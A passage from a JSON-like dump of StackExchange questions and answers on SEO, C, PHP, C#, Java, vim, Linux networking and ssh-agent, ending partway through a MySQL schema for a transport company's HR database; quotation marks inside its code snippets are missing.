example.com/blog/ as that doesn't exist. It just needs to look to the surfer as if they are there.Can this be done with some kind of masking or something?Will this be better for SEO as hopefully search engines will see the blog in a directory on the main domain?" , "title": "Can domain masking be used to move content from a subdomain to a subdirectory?" , "tags": "seo;url;subdomain;subdirectory" } { "id": "_webmaster.28739" , "question": "Why does this website ranks so high in SERP and also has a PR 3. As the name suggests, it promotes black hat seo and the hits on the website are also very high. Why is it that such websites which openly claim to teach such black hat tactics rank so high?" , "title": "Why do Blackhat SEO Websites Rank high?" , "tags": "blackhat" } { "id": "_codereview.40141" , "question": "While trying to learn more about arrays in C, I tried to write some code that did the following:Read a stream of numbers from the stdin and store them in an arrayPrint the array in the order the numbers have been stored (i.e. print the original array)Print the array in reversed orderSort and print the arrayGiven an array, search whether an entered value is present in an array. If it is present, print the index otherwise print that the value doesn't exist.It will be great if somebody could review it and let me know how to improve it.#include <stdio.h>#include <stdlib.h>static void printArray(int array[],int startIndex,int endIndex){ if(startIndex < endIndex){ while(startIndex <= endIndex){ printf( %i ,array[startIndex++]); } }else{ while(startIndex >= endIndex){ printf( %i ,array[startIndex--]); } } printf(\\n);}static int cmpfunc(const void * a,const void * b){ if(*(int*)a > *(int*)b) return 1; else return -1;}static void sortedArray(int* originalArray){ qsort((void*)originalArray,(sizeof(originalArray)/sizeof(originalArray[0])),sizeof(originalArray[0]),cmpfunc); return;}static int getIndex(int value,int array[],int size){ int i; for(i = 0;i < size;i++){ if(array[i] == value){ return i; } } return -1;}static void identifyTheIndices(int *arbitraryArray,int size){ char buf[10]; printf(Enter the value to search for..enter q to exit\\n); while(fgets(buf,sizeof buf,stdin) != NULL){ if(buf[0] == 'q'){ break; } char *end; int value = (int) strtol(buf,&end,0); if(end != buf){ int currentIndex = getIndex(value,arbitraryArray,size); if(currentIndex > -1){ printf(Found the entered value %i at index %i\\n,value,currentIndex); }else{ printf(Entered value %i doesn't exist\\n,value); } } printf(Enter the value to search for..enter q to exit\\n); }}int main(int argc,char **argv){ int counter = 0; if(argc > 1){ int originalArray[argc-1]; while(counter < (argc - 1)){ int currentValue = atoi(argv[counter+1]); printf(Reading input value %i into array \\n,currentValue); originalArray[counter] = currentValue; counter++; } int size = sizeof(originalArray)/sizeof(originalArray[0]); printf(Printing out the original array\\n); printArray(originalArray,0,size - 1); printf(Printing out the array in reverse\\n); printArray(originalArray,size - 1,0); printf(Sorting the array in ascending order\\n); qsort((void*)originalArray,size,sizeof(originalArray[0]),cmpfunc); printf(Printing out the sorted array\\n); printArray(originalArray,0,size-1); int arr[] = { 47, 71, 5, 58, 95, 22, 61, 0, 47 }; identifyTheIndices(arr,sizeof(arr)/sizeof(arr[0])); } return 0;}" , "title": "Array manipulation exercise" , "tags": "c;array" , "accepted_answer": "I disagree with @vishram0709 about taking values from the command line. Thereis nothing wrong with this. It is often useful to have the option of takingvalues from the command line; you can also prompt for input values if none aregiven on the command line.The fault he pointed out is caused by not validating the input values. Thesame error could occur if the value was input using scanf - and you saw inone of your earlier questions that scanf has its own issues. To check theinput values you can useerrno = 0;char *end;long value = strtol(string, &end, 0);if (errno == ERANGE) { perror(string); exit(EXIT_FAILURE);}The input values above are now long not int because strtol converts tolong and detects ERANGE based upon the size of the maximum possible long.If you wanted to detect over-range int values you could use:char *end;long value = strtol(string, &end, 0);if ((int) value != value) { fprintf(stderr, %s: Result too large\\n, string); exit(EXIT_FAILURE);}Some other observations:printArray would be more normal taking a const start point and a length.static void printArray(const int array[], size_t n);and have another printReverseArray to print the reversed array.cmpfunc should return 0 if the items match.sortedArray is unused. It is also wrong in that(sizeof(originalArray)/sizeof(originalArray[0])),gives something meaningless when originalArray is a pointer.sizeof(originalArray) gives the size of the pointer, not the array thatit points to.Later on in main, you do it right, withint size = sizeof(originalArray)/sizeof(originalArray[0]);because here originalArray is a real array, not a pointer. But youalready had the array size (argc - 1), so this was unnecessary.the array parameter to getIndex should be const. But the function isunreliable, as it fails for negative numbers. To make it work you needto separate the return value from the success/failure.static int getIndex(int value, int array[], int size, int *index);add some spaces, eg after if, while, for, ; and , etc.you use the variable names array, originalArray and arbitraryArray toidentify essentially the same thing - an array. Don't use multiple namesfor equivalent things without good reason.Your reading loopint counter = 0;...int originalArray[argc-1];while(counter < (argc - 1)){ int currentValue = atoi(argv[counter+1]); printf(Reading input value %i into array \\n,currentValue); originalArray[counter] = currentValue; counter++; }would be neater as:--argc;int array[argc];for (int i = 0; i < argc; ++i) { int v = atoi(argv[i + 1]); printf(Reading input value %i into array \\n, v); array[i] = v;}shorter variable names are ok, and indeed preferable, where their scope isrestricted. " } { "id": "_vi.6523" , "question": "I installed the YouCompleteMe(YCM) plugin and compiled it using the provided instructions, one after the other for all options excluding rust. Below is a reproduction of the commands I ran, the reason for running one after the other is that I got an error running them all together and it was easier to read when doing one by one.cd %USERPROFILE%/vimfiles/bundle/YouCompleteMepython install.py --clang-completer python install.py --omnisharp-completerpython install.py --gocode-completerpython install.py --tern-completer These ran, then I restarted my system due to another issue(was installing driver updates) when I then started GVim it crashed. I can open vim in the shell but it doesn't recognize Vundle and none of the plugins it manages are working there. I don't know if that was the case before, I haven't been using the shell for editing on Windows 10. Please advise!Response to commentsfruglemonkey - It was not configured for use on Windows, it was sourcing the .vimrc while I had opted to use the _vimrc purely for separation of concerns(keep the .vimrc for *nix environments and _ for windows) I copied the _vimrc to .vimrc and Vundle now works, though it doesn't recognise the colour scheme in use. I presume it isn't sourcing from the vim directory that GVim is using is all. Even now that it's sourcing properly it isn't recognizing Gundo or anything. I don't think it's related to the crashing of GVim, but I can provide more information regarding this on request. " , "title": "gvim on windows - compiled ycm plugin now crashing on start" , "tags": "gvim;microsoft windows;plugin you complete me;crash" } { "id": "_cstheory.6713" , "question": "Greg Egan in his fiction Dark Integers (story about two universes with two different mathematics communicating by means of proving theorems around of inconsistence in arithmetic) claims that it is possible to build general purpose computer solely on existing internet routers using only its basic functionality of packet switching (and checksum correction, to be precise).Is this possible, in principle?Update.To make the question more precise:What is an absolutely minimal set(s) of properties the router network must have that it will be possible to build general purpose computer on top of it?" , "title": "Dark Integers: General Purpose Computations on Internet Routers" , "tags": "computability;universal computation" , "accepted_answer": "This can be helpful:Parasitic computing is an example of a potential technology that could be viewed simultaneously as a threat or healthy addition to the online universe. On the Internet, reliable communication is guaranteed by a standard set of protocols, used by all computers. These protocols can be exploited to compute with the communication infrastructure, transforming the Internet into a distributed computer in which servers unwittingly perform computation on behalf of a remote node. In this model, one machine forces target computers to solve a piece of a complex computational problem merely by engaging them in standard communication.In the parasitic computing site you can detailed information on how you can solve a 3-SAT problem using the checksum of TCP packets.Other useful links:Seminar report on parasitic computing by K.K.MaharanaNature's article on parasitic computing (Aug 2001)" } { "id": "_unix.261872" , "question": "I am working on an embedded system and it uses udhcpc as its DHCP client. It seems to be running with the following parameters:/usr/share/udhcpc # ps | grep dhcp 5366 root 2432 S udhcpc -R -b -p /var/run/udhcpc.eth0.pid -i eth0I want to change the parameters or run my own DHCP client. I searched and I think it has something to do with ifup and /etc/network/interfaces. iface eth0 inet dhcpBut I don't see a way to modify the DHCP client.I would like to know how to change the parameter to udhcpc, andif it is possible to run my own DHCP client without killing udhcpc Thanks!" , "title": "How is udhcpc executed and how to change it?" , "tags": "networking;dhcp;udhcpc" , "accepted_answer": "Your system seems a lightweight version/variation of Debian, based in busybox. busybox is typically used either for recovery medium, or for embedded systems with limited resources.For modifying the parameters, you can invoke udhcpc automatically. You can change /etc/network/interfaces as:iface eth0 inet manual pre-up /sbin/udhcpc -R -b -p /var/run/udhcpc.eth0.pid -i eth0As for running another DHCP client, you would have to install it; however you would have to switch it with udhcpc unless you have other interfaces.Bear in mind as udhcpc is part of busybox, it is just a link to a global binary that provices you a work environment, and as such, you wont save any space switching DHCP clients." } { "id": "_unix.58969" , "question": "How and where can I check what keys have been added with ssh-add to my ssh-agent ?" , "title": "How to list keys added to ssh-agent with ssh-add?" , "tags": "ssh;key authentication;ssh agent" , "accepted_answer": "Use the -l option to ssh-add to list them by fingerprint.$ ssh-add -l2048 72:...:eb /home/gert/.ssh/mykey (RSA)Or with -L to get the full key in OpenSSH format.$ ssh-add -Lssh-rsa AAAAB3NzaC1yc[...]B63SQ== /home/gert/.ssh/id_rsaThe latter format is the same as you would put them in a ~/.ssh/authorized_keys file." } { "id": "_vi.351" , "question": "For example, if I have some JavaScript code like this:var widget = library() .chainCall1() .chainCall2() .chainCall3();If I use the = command to auto indent it, it comes out looking this this:var widget = library().chainCall1().chainCall2().chainCall3();Which isn't what I want. I want it to indent the chain calls like it originally was. How can I fix this?" , "title": "Incorrectly indents JavaScript chain calls" , "tags": "indentation" , "accepted_answer": "I had the same problem - for the most part the JavaScript formatting done by vim is not bad, but in examples like the one you give it fails miserably.I've been using the vim-jsbeautify plugin to fix things where the vim indentation fails, and also to clean up ugly code other people have written. It works really well, you can run it on the whole file or just a region, and it's customisable using an EditorConfig file." } { "id": "_codereview.153030" , "question": "I'd like feedback on the class below, from the perspective of wanting to write professional code that I would be paid to create. I would appreciate comments on details such as commenting, naming and layout as well as the actual functionality.The code is a class which takes two arguments (directory and extension) and searches the directory for instances of files with the given extension. The context is of me practicing writing PHP with a view to getting a job doing so. There is the possibility of unknown unknowns implied in this question.<?php/** * Filters a directory by file-type */class DirectoryFilter{ /** * Returns a list of files in a given directory, * filtered by the extension of the files * * @param string $dirname * @param string $extension * * @return array */ public function filter(string $dirname, string $extension){ // store results in an array $results = []; // set path $path = __dir__ . /$dirname; // check directory exists if(is_dir(($path))){ foreach(glob($path/*.*) as $filename) { if(pathinfo($filename, PATHINFO_EXTENSION) == $extension){ array_push($results, $filename); } } return $results; } // Directory not found return false; }}$test = new DirectoryFilter();print_r ($test->filter('testdir', 'php'));" , "title": "Directory Filter Class PHP" , "tags": "php;object oriented;file system" } { "id": "_unix.258868" , "question": "On Debian 8 I cannot do the following command in /lib/systemd/system:root@foo:/lib/systemd/system# grep abc *grep: invalid option -- '.' Usage: grep [OPTION]... PATTERN [FILE]... Try 'grep --help' for more information.Why is that?" , "title": "cannot grep abc * in /lib/systemd/system on Debian 8 Jessie" , "tags": "linux;debian" , "accepted_answer": "grep -- abc *As steeldriver1 mentionned, on my system there is indeed a file called -.slice in that directory.This leads to some unexpected behavior since linux treats such symbols as commands.For example mv - * tab * doesn't auto complete the filename but mv -- '- * tab * does.I figured it out by reading this page which explains it nicely. http://www.cyberciti.biz/faq/linuxunix-move-file-starting-with-a-dash/" } { "id": "_codereview.106860" , "question": "public static int lastDigit(int a) { a = a % 10; if (a <= 0){ a *= -1; } return a;}This is my solution. The course hasn't taught if else yet, so I'm wondering if there is a way to do it without the if else.public static int lastDigit(int a) {a = a % 10;return a;}The problem with this is that it will not print the last digit of a negative number as a positive." , "title": "Return the last digit of a number" , "tags": "java;beginner" , "accepted_answer": "Use Math.abs() public static int lastDigit(int x) { return Math.abs(x % 10); }" } { "id": "_unix.156854" , "question": "I installed CentOS 7, and noticed that I have rsa and ecdsa keys generated. I deleted all of them and rebooted the machine. I got a new pair of rsa and ecdsa keys. How does Linux generate the keys? When is ssh-keygen called..? I couldn't find the configuration for this..." , "title": "How does Linux generate ssh keys after reboot?" , "tags": "ssh;key authentication" } { "id": "_unix.197766" , "question": "./configure always checks whether the build environment is sane...I can't help but wonder what exactly a insane build environment is. What errors can this check raise?" , "title": "./configure: What is an insane build environment?" , "tags": "compiling;configure" , "accepted_answer": "This comes from automake, specifically from its AM_SANITY_CHECK macro, which is called from AM_INIT_AUTOMAKE, which is normally called early in configure.ac. The gist of this macro is:Check that the path to the source directory doesn't contain certain unsafe characters which can be hard to properly include in shell scripts makefiles.Check that ls appears to work.Check that a new file created in the build directory is newer than the configure file. If it isn't (typically because the clock on the build system is not set correctly), the build process is likely to fail because build processes usually rely on generated files having a more recent timestamp than the source files they are generated from." } { "id": "_vi.8087" , "question": "I can't find info in help about whether it should or shouldn't turn on highlighting, but I find it strange that I have to press n or N after * or # to turn on search highlighting.How do I enable this in vim if that's 'normal' behaviour.I've got only these lines in my vimrc related to search highlighting.if !has('nvim') set smartcase set hlsearch highlight search terms set incsearch show search matches as you typeendif" , "title": "Why doesn't search for word under cursor (* and #) turn on search highlighting and how do I enable it?" , "tags": "search;highlight" , "accepted_answer": "You can hook up the hlsearch command like so:nnoremap * :set hlsearch<CR>*nnoremap # :set hlsearch<CR>#And if you want to highlight the current word without moving the cursor you can add the N movement afterwards:nnoremap * :set hlsearch<CR>*Nnnoremap # :set hlsearch<CR>#N" } { "id": "_unix.252530" , "question": "After an install of centos 7, I can't acces man pages :# man ls-bash: man: command not foundI tried to install it via yum # yum install man-pages... okBut again: # man ls-bash: man: command not foundWhy ?" , "title": "How to install man pages on centos?" , "tags": "centos;man" , "accepted_answer": "In order to use the man command, you must also install the man package before or after the man-pages one# yum install man-pages... ok# yum install man... okNow man is installed# man lsNAME ls - list directory contentsSYNOPSIS ls [OPTION]... [FILE]...DESCRIPTION List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor --sort. Mandatory arguments to long options are mandatory for short options too. ..." } { "id": "_codereview.118763" , "question": "I've got a service that loads data from a databasr and it performs almost the same operations in all methods. private async Task GetProvenances() { try { var result = await commonRepository.GetProvenances(); if (result != null) { provenanceContainerService.Provenances = result; LogTo.Information(InitCacheMessages.STR_GET_PROVENANCES, result.Count); } else { LogTo.Warning(InitCacheMessages.STR_GET_PROVENANCES_FAILED); } } catch (Exception ex) { exceptionService.HandleException(ex); } } private async Task GetPkInstrumentMarkets() { try { var result = await commonRepository.GetPkInstrumentMarkets(); if (result != null) { pkInstrumentMarketContainerService.PkInstrumentMarkets = result; LogTo.Information(InitCacheMessages.STR_GET_PK_INSTRUMENT_MARKETS, result.Count); } else { LogTo.Warning(InitCacheMessages.STR_GET_PK_INSTRUMENT_MARKETS_FAILED); } } catch (Exception ex) { exceptionService.HandleException(ex); } } private async Task GetPkMotivations() { try { var result = await commonRepository.GetPkMotivations(); if (result != null) { pkMotivationsContainerService.PkMotivations = result; LogTo.Information(InitCacheMessages.STR_GET_PK_MOTIVATIONS, result.Count); } else { LogTo.Warning(InitCacheMessages.STR_GET_PK_MOTIVATIONS_FAILED); } } catch (Exception ex) { exceptionService.HandleException(ex); } }How can I refactor this so I don't have to repeat the same code for about 30 methods?UPDATE 1Hello,I've done this way this night protected async Task PerformInitInternal(string okMessage, string koMessage, Func<Task<IList<T>>> function) { try { var result = await function(); if (result != null) { Items = result; LogTo.Information(okMessage, result.Count); } else { LogTo.Warning(koMessage); } isInitialized = true; } catch (Exception ex) { ExceptionService.HandleException(ex); } }And I call it this way public override Task Init() { return PerformInitInternal(InitCacheMessages.STR_GET_COUNTERPARTS, InitCacheMessages.STR_GET_COUNTERPARTS_FAILED, () => CommonRepository.GetCrossSplitAsync()); }Can this be ok?" , "title": "A redundant data service" , "tags": "c#;asynchronous" } { "id": "_codereview.96293" , "question": "Is it appropriate for the class to subscribe to its own events like this? Should the class not subscribe, and instead move that code to before the OnEventName(Object args) methods call the EventHandlers? I'm curious if there are any downfalls to this approach.On one hand, with this approach I could remove all the null checks on the event-firing methods. On the other hand, what if another event down the road needs information from the event handling I have already added a subscription to. I.e. in the future a method needs the NetworkServer_Error method to have been guaranteed to have fired before it can work.I'm mostly concerned with the event logic here, not so much the implementations. None of these implementations are concrete, but I want to make sure I have done this part properly first.public class NetworkServer{ NetPeerConfiguration mainServerConfiguration; NetServer mainNetServer; List<NetConnection> connectedClients = new List<NetConnection>(); public NetworkServer() { mainServerConfiguration = new NetPeerConfiguration(SecretKey); mainServerConfiguration.AcceptIncomingConnections = true; mainServerConfiguration.Port = 5501; mainNetServer = new NetServer(mainServerConfiguration); // Wire up our events Error += NetworkServer_Error; DataReceived += NetworkServer_DataReceived; StatusChanged += NetworkServer_StatusChanged; ClientConnected += NetworkServer_ClientConnected; ClientDisconnected += NetworkServer_ClientDisconnected; } void NetworkServer_DataReceived(object sender, NetMessageEventArgs e) { Program.LogLine(Data recieved from: + e.Message.SenderConnection.RemoteEndPoint.ToString() + , Payload size: + e.Message.LengthBytes.ToString(), LoggingType.Information); } void NetworkServer_Error(object sender, MessageEventArgs e) { Program.LogLine(e.Message, LoggingType.Error); } void NetworkServer_ClientConnected(object sender, ConnectionEventArgs e) { if (!connectedClients.Contains(e.Connection)) { connectedClients.Add(e.Connection); Program.LogLine(New client discovered: + e.Connection.RemoteEndPoint.ToString(), LoggingType.Information); } } void NetworkServer_ClientDisconnected(object sender, ConnectionEventArgs e) { if (connectedClients.Contains(e.Connection)) connectedClients.Remove(e.Connection); Program.LogLine(Client lost: + e.Connection.RemoteEndPoint.ToString(), LoggingType.Information); } void NetworkServer_StatusChanged(object sender, StatusChangedEventArgs e) { switch (e.Connection.Status) { case NetConnectionStatus.Disconnected: OnClientDisconnected(new ConnectionEventArgs(e.Connection)); break; case NetConnectionStatus.Connected: OnClientConnected(new ConnectionEventArgs(e.Connection)); break; default: Program.LogLine(Unhandled StatusChanged: + e.Connection.RemoteEndPoint.ToString() + now + e.Connection.Status + ., LoggingType.Warning); break; } } public Task RunServer() { return Task.Run(() => { mainNetServer.Start(); DateTime started = DateTime.UtcNow; Program.LogLine(string.Format(The server was started on {0} at {1}., started.ToString(dd-MM-yyyy), started.ToString(HH:mm:ss.fffffff)), LoggingType.Important); while (true) { NetIncomingMessage msg; while ((msg = mainNetServer.ReadMessage()) != null) { switch (msg.MessageType) { case NetIncomingMessageType.VerboseDebugMessage: case NetIncomingMessageType.DebugMessage: case NetIncomingMessageType.WarningMessage: case NetIncomingMessageType.ErrorMessage: OnError(new MessageEventArgs(msg.ReadString())); break; case NetIncomingMessageType.StatusChanged: OnStatusChanged(new StatusChangedEventArgs(msg.SenderConnection)); break; case NetIncomingMessageType.Data: OnDataReceived(new NetMessageEventArgs(msg)); break; default: Program.LogLine(Unhandled type: + msg.MessageType, LoggingType.Warning); break; } mainNetServer.Recycle(msg); } System.Threading.Thread.Sleep(1); } }); } void OnError(MessageEventArgs args) { if (Error != null) Error(this, args); } void OnStatusChanged(StatusChangedEventArgs args) { if (StatusChanged != null) StatusChanged(this, args); } void OnDataReceived(NetMessageEventArgs args) { if (DataReceived != null) DataReceived(this, args); } void OnClientDisconnected(ConnectionEventArgs args) { if (ClientDisconnected != null) ClientDisconnected(this, args); } void OnClientConnected(ConnectionEventArgs args) { if (ClientConnected != null) ClientConnected(this, args); } public event MessageEventHandler Error; public event NetMessageEventHandler DataReceived; public event StatusChangedEventHandler StatusChanged; public event ConnectionChangedEventHandler ClientConnected; public event ConnectionChangedEventHandler ClientDisconnected;}Here are the EventHandler delegates:public delegate void MessageEventHandler(Object sender, MessageEventArgs e);public delegate void NetMessageEventHandler(Object sender, NetMessageEventArgs e);public delegate void StatusChangedEventHandler(Object sender, StatusChangedEventArgs e);public delegate void ConnectionChangedEventHandler(Object sender, ConnectionEventArgs e);And, lastly, the EventArgs classes:public class ConnectionEventArgs : EventArgs{ private NetConnection _Connection; public NetConnection Connection { get { return _Connection; } } public ConnectionEventArgs(NetConnection client) { this._Connection = client; }}public class MessageEventArgs : EventArgs{ private string _Message; public string Message { get { return _Message; } } public MessageEventArgs(string message) { this._Message = message; }}public class NetMessageEventArgs{ public NetIncomingMessage Message { get; private set; } public NetMessageEventArgs(NetIncomingMessage message) { Message = message; }}public class StatusChangedEventArgs : ConnectionEventArgs{ public StatusChangedEventArgs(NetConnection client) : base(client) { }}Lastly, the Program class calling the NetworkServer:class Program{ static LoggingType logMessageTypes = LoggingType.All; static void Main(string[] args) { NetworkServer ns = new NetworkServer(); Task t = ns.RunServer(); t.Wait(); LogLine(Done!, LoggingType.Information); } public static void LogLine(string line, LoggingType type, ConsoleColor foreColor = ConsoleColor.Gray, ConsoleColor backColor = ConsoleColor.Black) { if (type <= logMessageTypes) { Console.ForegroundColor = foreColor; Console.BackgroundColor = backColor; Console.WriteLine(DateTime.UtcNow.ToString(O) + : + type.ToString() + : + line); } }}" , "title": "Subscribing an Object to its own Events" , "tags": "c#;object oriented;.net;event handling" , "accepted_answer": "Basically the communication between objects is done in two different ways. A parent object is talking to its child object by using the child objects methods and properties.A child object is talking to its parent by using events. So I support @Thomas W with his answer. That beeing said, let us start with the refactoring ideas. The EventArgs classes You should either make the variables you use public readonly omiting the property or use autoimplemented properties with a private setter, because they are only read but never written. The NetMessageEventArgs class is missing the inheriting from EventArgs which should be done.See: https://stackoverflow.com/a/6816889/2655508 it allows people using your classes to use and handle generic *Handler(object sender, EventArgs e) declarations. If you don't inherit from EventArgs, then they have to use explicitly typed I don't see a reason to name the constructors parameter client in the ConnectionEventArgs and StatusChangedEventArgs classes. A more obvious name would be connection. The result of the applied changes (which aren't needed anymore, but posting them nevertheless) public class ConnectionEventArgs : EventArgs{ public NetConnection Connection { get; private set; } public ConnectionEventArgs(NetConnection connection) { Connection = connection; }}public class MessageEventArgs : EventArgs{ public string Message { get; private set; } public MessageEventArgs(string message) { Message = message; }}public class NetMessageEventArgs : EventArgs{ public NetIncomingMessage Message { get; private set; } public NetMessageEventArgs(NetIncomingMessage message) { Message = message; }}public class StatusChangedEventArgs : ConnectionEventArgs{ public StatusChangedEventArgs(NetConnection connection) : base(connection) { }}NetworkServer class mainNetServer and connectedClients should be made readonly so you won't accidently assign some new value to them. You should move the NetPeerConfiguration mainServerConfiguration; inside the constructor, because you only use it there. Or much better you should inject it into the constructor. Your class does not need to know how it is created nor should it need to create it. It only needs to use it. You should declare the NetPeerConfiguration mainServerConfiguration; and NetServer mainNetServer; explicitly private to make this more obvious. Instead of using a List<NetConnection> I would like to encourage you to use a HashSet<NetConnection>. In this way you don't need to check if item is in the set, you can just call Add() and don't have to worry about it beeing already in the set. based on your comments to @Thomas W's answer the only object which is using the provided events is the object itself. So you could use simple methods leaving aside the events. you should use a ILogger interface which should be injected to the constructor instead of using a public static method of the calling object. with using string.Format() you can make the messages easier to read and could make them constant if you want to. The result of the applied changes public class NetworkServer{ private readonly NetServer mainNetServer; private readonly HashSet<NetConnection> connectedClients = new HashSet<NetConnection>(); public NetworkServer(NetPeerConfiguration mainServerConfiguration) { mainNetServer = new NetServer(mainServerConfiguration); } private void ProcessReceivedMessage(NetIncomingMessage message) { string msg = Data recieved from: {0}, Payload size: {1} LogMessage(msg, LoggingType.Information, message.SenderConnection.RemoteEndPoint, message.LengthBytes); } private void LogMessage(string message, LoggingType loggingType, params Object[] par) { message = FormatMessage(message, par); Program.LogLine(message, loggingType); } private String FormatMessage(string message, params Object[] par) { if (par.Length == 0) { return message; } return string.Format(message, par); } private void ProcessErrorMessage(string message) { LogMessage(message, LoggingType.Error); } private void AddClient(NetConnection connection) { if (connectedClients.Add(connection)) { string msg = New client discovered: {0}; LogMessage(msg, LoggingType.Information, connection.RemoteEndPoint) } } private void RemoveClient(NetConnection connection) { connectedClients.Remove(connection); string msg = Client lost: {0}; LogMessage(msg, LoggingType.Information, connection.RemoteEndPoint) } private void ProcessStatusChangedMessage(NetConnection connection) { switch (connection.Status) { case NetConnectionStatus.Disconnected: RemoveClient(e.Connection); break; case NetConnectionStatus.Connected: AddClient(e.Connection); break; default: LogMessage(Unhandled StatusChanged: {0} now {1}., LoggingType.Warning, e.Connection.RemoteEndPoint, e.Connection.Status); break; } } public Task RunServer() { return Task.Run(() => { mainNetServer.Start(); DateTime started = DateTime.UtcNow; LogMessage(The server was started on {0} at {1}., LoggingType.Important, started.ToString(dd-MM-yyyy), started.ToString(HH:mm:ss.fffffff)); while (true) { NetIncomingMessage msg; while ((msg = mainNetServer.ReadMessage()) != null) { switch (msg.MessageType) { case NetIncomingMessageType.VerboseDebugMessage: case NetIncomingMessageType.DebugMessage: case NetIncomingMessageType.WarningMessage: case NetIncomingMessageType.ErrorMessage: ProcessErrorMessage(msg.ReadString()); break; case NetIncomingMessageType.StatusChanged: ProcessStatusChangedMessage(msg.SenderConnection); break; case NetIncomingMessageType.Data: ProcessStatusChangedMessage(msg); break; default: LogMessage(Unhandled type: {0}, LoggingType.Warning, msg.MessageType); break; } mainNetServer.Recycle(msg); } System.Threading.Thread.Sleep(1); } }); }}" } { "id": "_codereview.128303" , "question": "I am designing a database and I am just wondering if I am doing it correctly. I have tables for things like State with all the states in them and then I reference the ID in other tables. But should I just handle this in my UI and then store it as a string or is this the correct way?The goal of this database is to handle day to day operations of a transportation company. This version of the database is only focused on handling People and contacts. We manage employees, drivers, and there positions in the company. We will be tracking things like accidents, and other incidents drivers have, and gain a better understanding of driver / employee turn over.---- Database: `hrm`---- ------------------------------------------------------------ Table structure for table `address`--CREATE TABLE `address` ( `address_id` int(11) NOT NULL COMMENT 'Primary key for address rows.', `address_line_one` varchar(60) NOT NULL COMMENT 'First street-address line.', `address_line_two` varchar(60) DEFAULT NULL COMMENT 'Second street address line.', `city` varchar(30) NOT NULL COMMENT 'Name of the city.', `state_id` int(11) NOT NULL COMMENT 'Foreign key to state table.', `postal_code` varchar(15) NOT NULL COMMENT 'Postal code for the street address.', `modified_date` datetime NOT NULL COMMENT 'Date and time the row was last updated.') ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `contact`--CREATE TABLE `contact` ( `contact_id` int(11) NOT NULL COMMENT 'Primary key for contact rows.', `title` varchar(8) DEFAULT NULL COMMENT 'A courtesy title. For example, Mr. or Ms.', `first_name` varchar(50) NOT NULL COMMENT 'First name of the person.', `middle_name` varchar(50) DEFAULT NULL COMMENT 'Middle name or middle initial of the person.', `last_name` varchar(50) NOT NULL COMMENT 'Last name of the person.', `suffix` varchar(10) DEFAULT NULL COMMENT 'Surname suffix. For example, Sr. or Jr.', `email_address` varchar(50) DEFAULT NULL COMMENT 'E-mail address for the person.', `phone_number` varchar(25) DEFAULT NULL COMMENT 'Phone number associated with the person.', `address_id` int(11) DEFAULT NULL COMMENT 'Foreign key to address table. ', `modified_date` datetime NOT NULL COMMENT 'Date and time the row was last updated.') ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT=' ';-- ------------------------------------------------------------ Table structure for table `driver`--CREATE TABLE `driver` ( `driver_id` int(11) NOT NULL, `employee_id` int(11) NOT NULL, `driver_type_id` int(11) NOT NULL, `rating_id` int(11) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `driver_type`--CREATE TABLE `driver_type` ( `driver_type_id` int(11) NOT NULL, `name` varchar(25) NOT NULL, `abbreviation` varchar(5) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `driver_type`--INSERT INTO `driver_type` (`driver_type_id`, `name`, `abbreviation`) VALUES(1, 'Ambulatory', 'AMB'),(2, 'Wheelchair', 'WC'),(3, 'Bus', 'BUS'),(4, 'Taxi', 'TX');-- ------------------------------------------------------------ Table structure for table `employee`--CREATE TABLE `employee` ( `employee_id` int(11) NOT NULL, `contact_id` int(11) NOT NULL, `status_id` int(11) NOT NULL, `job_title` varchar(50) DEFAULT NULL, `birth_date` date DEFAULT NULL, `interview_date` date DEFAULT NULL, `hire_date` date DEFAULT NULL, `modified_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `employee`--INSERT INTO `employee` (`employee_id`, `contact_id`, `status_id`, `job_title`, `birth_date`, `interview_date`, `hire_date`, `modified_date`) VALUES(1, 1, 2, 'IT Director', '1991-08-10', '2016-02-17', '2016-02-18', '2016-04-25 11:58:00');-- ------------------------------------------------------------ Table structure for table `incident`--CREATE TABLE `incident` ( `incident_id` int(11) NOT NULL, `incident_type_id` int(11) NOT NULL, `driver_id` int(11) NOT NULL, `reported_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `incident_type`--CREATE TABLE `incident_type` ( `incident_type_id` int(11) NOT NULL, `name` varchar(75) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `incident_type`--INSERT INTO `incident_type` (`incident_type_id`, `name`) VALUES(1, 'Tardiness'),(2, 'No Show'),(3, 'Insubordination'),(4, 'Failure to follow protocol'),(5, 'Failure to report incident'),(6, 'Dress code violation');-- ------------------------------------------------------------ Table structure for table `note`--CREATE TABLE `note` ( `note_id` int(11) NOT NULL, `contact_id` int(11) NOT NULL, `note` varchar(255) NOT NULL, `created_date` datetime NOT NULL, `modified_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `rating`--CREATE TABLE `rating` ( `rating_id` int(11) NOT NULL, `name` varchar(50) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `rating`--INSERT INTO `rating` (`rating_id`, `name`) VALUES(1, 'Very Poor'),(2, 'Poor'),(3, 'Fair'),(4, 'Good'),(5, 'Very Good');-- ------------------------------------------------------------ Table structure for table `state`--CREATE TABLE `state` ( `state_id` int(11) NOT NULL COMMENT 'Primary key for state table.', `name` varchar(50) NOT NULL COMMENT 'The name of the state.', `abbreviation` varchar(5) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `state`--INSERT INTO `state` (`state_id`, `name`, `abbreviation`) VALUES(1, 'Alabama', 'AL'),(2, 'Alaska', 'AK'),(3, 'Arizona', 'AZ'),(4, 'Arkansas', 'AR'),(5, 'California', 'CA'),(6, 'Colorado', 'CO'),(7, 'Connecticut', 'CT'),(8, 'Delaware', 'DE'),(9, 'Florida', 'FL'),(10, 'Georgia', 'GA'),(11, 'Hawaii', 'HI'),(12, 'Idaho', 'ID'),(13, 'Illinois', 'IL'),(14, 'Indiana', 'IN'),(15, 'Iowa', 'IA'),(16, 'Kansas', 'KS'),(17, 'Kentucky', 